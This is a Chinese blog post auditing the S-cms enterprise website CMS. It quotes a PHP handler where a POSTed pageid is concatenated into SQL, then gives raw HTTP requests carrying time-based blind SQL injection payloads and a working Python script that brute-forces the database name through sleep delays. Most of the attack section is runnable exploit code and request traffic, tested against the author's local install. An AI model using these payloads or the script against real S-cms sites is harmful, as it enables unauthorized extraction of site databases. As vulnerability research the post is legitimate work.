S-cms 審計-盲注

早上看到Y4er大佬發的文章啦,趕緊也去下載一個S-cms企業建站系統,來審計一下
文章地址https://y4er.com/post/scms-blind-injection/
至於如何在自己電腦上下載安裝,應該不用多說了,不會的請留言
D:\app_english\PHPstudy\PHPTutorial\WWW\Scms\Scms\js\scms.php:173行

case "jssdk":
    $APPID = $C_wx_appid;
    $APPSECRET = $C_wx_appsecret;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=" . $APPID . "&secret=" . $APPSECRET, "");
    $access_token = json_decode($info)->access_token;
    $info = getbody("https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=" . $access_token . "&type=jsapi", "");
    $ticket = json_decode($info)->ticket;
    $url = $_POST["url"];
    $noncestr = gen_key(20);
    $timestamp = time();
    $pageid = $_POST["pageid"];
    if ($pageid == "") {
        $pageid = 1;
    }
    switch ($_POST["pagetype"]) {
        case "index":
            $img = $C_ico;
            break;
        case "text":
            $img = getrs("select * from " . TABLE . "text where T_id=" . $pageid, "T_pic");
            break;
        case "product":
            $img = getrs("select * from " . TABLE . "psort where S_id=" . $pageid, "S_pic");
            break;
        case "productinfo":
            $img = splitx(getrs("select * from " . TABLE . "product where P_id=" . $pageid, "P_path"), "__", 0);
            break;
        case "news":
            $img = getrs("select * from " . TABLE . "nsort where S_id=" . $pageid, "S_pic");
            break;
        case "newsinfo":
            $img = getrs("select * from " . TABLE . "news where N_id=" . $pageid, "N_pic");
            break;
        case "form":
            $img = getrs("select * from " . TABLE . "form where F_id=" . $pageid, "F_pic");
            break;
        case "contact":
            $img = $C_ico;
            break;
        case "guestbook":
            $img = $C_ico;
            break;
    }

    $sign = sha1("jsapi_ticket=" . $ticket . "&noncestr=" . $noncestr . "&timestamp=" . $timestamp . "&url=" . $url);

    echo "{\"nonceStr\":\"" . $noncestr . "\",\"timestamp\":\"" . $timestamp . "\",\"signature\":\"" . $sign . "\",\"appid\":\"" . $APPID . "\",\"img\":\"http://" . $_SERVER["HTTP_HOST"] . $C_dir . $img . "\",\"ticket\":\"" . $ticket . "\"}";


    break;

可以看到 $pageid = $_POST["pageid"];直接從POST中賦值,並且直接拼接到sql語句中。
過濾了一些東西,在這我給出一個payload
首先先判斷pageid是否存在

"""
POST /scms/scms/js/scms.php?action=jssdk HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Connection: keep-alive
Referer: http://localhost/scms/scms/?lang=cn
Cookie: zhwy_2132_saltkey=R25LZRwl; zhwy_2132_lastvisit=1562912233; zhwy_2132_ulastactivity=08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK; zhwy_2132_nofavfid=1; zU2p_2132_saltkey=XQM4NcQP; zU2p_2132_lastvisit=1562914333; PHPSESSID=56r9sfiajqlueuh6lj2vuo2o21; __tins__18885840=%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D; __51cke__=; __51laig__=14
Upgrade-Insecure-Requests: 1

pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)

如果存在返回包應該是包含了img字段並且有具體的圖片地址,例如(我這存在也不返回啊,難受)

"""
HTTP/1.1 200 OK
Date: Wed, 17 Jul 2019 03:23:51 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
Content-Length: 319

{"nonceStr":"chhnvlEPIcivTdHNvRAh","timestamp":"1563333832","signature":"769a3e36bade928818b430b94c98a8b6d4b9f272","appid":"wxXXXXXXXXXX","img":"http://localhost/scms/scms/","ticket":""}

如果你的pageid是不存在的話,你的sleep時間將會是5的倍數

可以參考admintony師傅的文章MySQL的邏輯運算符(and_or_xor)的工作機制研究

給出payload

POST /js/scms.php?action=jssdk HTTP/1.1
Host: php.local
Content-Length: 89
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Origin: http://php.local
Content-Type: application/x-www-form-urlencoded
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://php.local/js/scms.php?action=jssdk
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Ov1T_2132_saltkey=WKW5M101; Ov1T_2132_lastvisit=1562845214; PHPSESSID=erjg0os8p6mcdbjm7ug5b3qn34; XDEBUG_SESSION=PHPSTORM
Connection: close

pagetype=productinfo&pageid=78 %26%26 if(ascii(substring(database(),1,1))=115,sleep(5),1)

值得一提的是scms過濾了一系列關鍵字比如select ,update,',/,*,\,那麼具體的payload就靠大家發揮了
以上大部分都是大佬的觀點和狀況了,HTTP請求和返回是我自己的

但是我下載的代碼不是到是咋回事,好像了點問題

我剛打開的時候是沒有我紅色箭頭表示的空白部分的,導致這一部分的代碼根本沒啥用啊,找到原因後如圖我自己給他加上了一點縮進,這纔沒事的

試着寫寫盲注的代碼

氣死我了,那個%26%26寫到程序裏就TMD跟出鬼了一樣,
調試了好多次,運行第一次完美,睡上個5秒,但是運行第二次立馬就返回結果了,我TMD一樣的代碼啊,不可以這樣氣我好不好,到數據庫直接運行也沒錯啊,那效果跟加了緩存似的,難受,趕緊改成&&纔沒問題的
先放上查數據庫名的代碼,cookie用不用都一樣,可以自己用自己的,我代碼裏沒用到cookie(哈哈調試錯誤的時候快瘋了)哎,在burp裏是%26%26才行,在python3代碼裏是&&才行啊啊啊啊啊,好可怕啊

import requests
import time
url = 'http://localhost/scms/scms/js/scms.php?action=jssdk'
char_set = r'~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'
post_data = {'pagetype':'productinfo','pageid': '78'}
session = requests.session()
cookie = {
    'zhwy_2132_saltkey': 'R25LZRwl',
    'zhwy_2132_lastvisit':'1562912233',
    'zhwy_2132_ulastactivity':r'08a5nAYBrN7YsSyCxXUi9cSLZoRE%2FUO4yY%2B3xv8fhwx4i2Wh6ksK',
    'zhwy_2132_nofavfid':'1',
    'zU2p_2132_saltkey':'XQM4NcQP',
    'zU2p_2132_lastvisit':'1562914333',
    'PHPSESSID':'56r9sfiajqlueuh6lj2vuo2o21',
    '__tins__18885840':r'%7B%22sid%22%3A%201563332062803%2C%20%22vd%22%3A%2014%2C%20%22expires%22%3A%201563335043801%7D',
    '__51cke__':'',
    '__51laig__':'14'
}

def work_find_db():
    current_db = ''
    try:
        pass
        for x in range(10):
            for y in char_set:
                print(y, end='', flush=True)
                pageid = r'78 && '+'if(ascii(substring(database(),%s,1))=%s,sleep(7),1)' % ((x+1), ord(y))
                post_data.update({'pageid': pageid})
                # print(pageid)
                try:
                    # start = time.time()
                    res = session.post(url, data=post_data, timeout=6)
                    if res.text is not None:
                        print('  ', end='', flush=True)
                except requests.exceptions.ReadTimeout:
                    current_db += y
                    print('\nNice->',current_db)
                    break
            print()
    except KeyboardInterrupt:
        print('手動退出')
        
work_find_db()

select被過濾了,剩下的完全不會了啊

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章